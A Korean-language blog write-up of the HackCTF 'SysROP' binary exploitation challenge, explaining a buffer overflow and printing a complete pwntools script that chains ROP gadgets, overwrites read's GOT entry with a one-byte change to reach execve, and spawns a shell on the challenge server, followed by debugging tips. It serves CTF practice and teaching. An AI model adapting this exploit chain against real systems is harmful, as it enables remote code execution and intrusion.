HACKCTF - SysROP

2020. 9. 15. 15:00CTF's Write-up

 

문제 화면

 

 

 

문제 자체에서 sysrop라고 알려주었으니 저쪽으로 방향 맞춰서 진행해보겠습니다.

 

먼저 실행해보면

 

 

실행화면

 

입력받고 끝내네요..

 

ida로 확인해보면

 

ida main

 

read함수로 하나 입력받고, 바로 종료하는군요.

 

ida 

 

정말 건질 수 있는게 read함수밖에 없어보입니다.

문제 이름처럼 sysrop를 활용해서 문제를 풀어줬습니다.

 

checksec

 

main함수에서 발생하는 BOF를 이용해서 sysrop를 해줘야겠네요.

 

1. bss <-- binsh

2. read_got을 execve 주소로 1byte변환

3. execve 에서 bss불러와서 shell 획득

 

페이로드는 아래와 같습니다.

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
= remote("ctf.j0n9hyun.xyz",3024)
#r = process("./sysrop")
= ELF("./sysrop")
= ELF("./libc.so.6")
context.log_level = "debug"
 
 
 
shell = "/bin/sh\x00"
read_got = e.got['read']
read_plt = e.plt['read']
main = 0x4005F2
bss_add = 0x0000000000601048 # bss + 0x8
ppppr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pppr = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret
 
 
pause()
 
#binsh --&gt; bss
payload = ""
payload += "A"*0x18
payload += p64(pppr)
payload += p64(len(shell))
payload += p64(0)
payload += p64(bss_add)
payload += p64(read_plt)
payload += p64(main)
 
 
r.send(payload)
sleep(1)
r.send(shell)
sleep(1)
 
#read_got --&gt; execve
payload = ""
payload += "A"*0x18
payload += p64(pppr)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)
 
#make execve to excutee shell
payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(bss_add)
payload += p64(0)
payload += p64(read_plt)
 
r.send(payload)
sleep(1)
r.send("\x5e")
sleep(1)
 
r.interactive()
cs

 

 

4가지 삽질을 했습니다.

1. bss기본주소가 안돼서 0x8더해줘서 풀었습니다.bss이상하면 4byte씩 한번 더해줘보세요.

2. local에서는 EOF발생하는데 remote에서는 잘되서 local에서 테스트하다 삽질했습니다. 이건 신기하네요

3. output이 없는 상황의 문제라그런지는 모르겠는데 로컬에서 마지막에

    r.sendline("cat flag")

    print(r.recv())

    r.interactive() 하면 또 될때도 있더라고요.. 무엇이 문제인건지 신기하네요..

4. 코드에 이상이 없는데 안되면 sleep(), pause()함수를 잘 활용해보세요. 코드속도가 너무 빨라서 프로세스가 못따라가나보네요..

 

쨋든 이렇게 작성하고 실행하면

 

 

flag

 

쉘을 획득할 수 있습니다(grin)

'CTF's Write-up' 카테고리의 다른 글

DreamHack - welcome  (0) 2020.09.17
DreamHack - cookie  (0) 2020.09.15
HACKCTF - Unexploitable #1  (0) 2020.09.13
HACKCTF - ROP  (0) 2020.09.13
[보호]HACKCTF - LOL  (0) 2020.09.09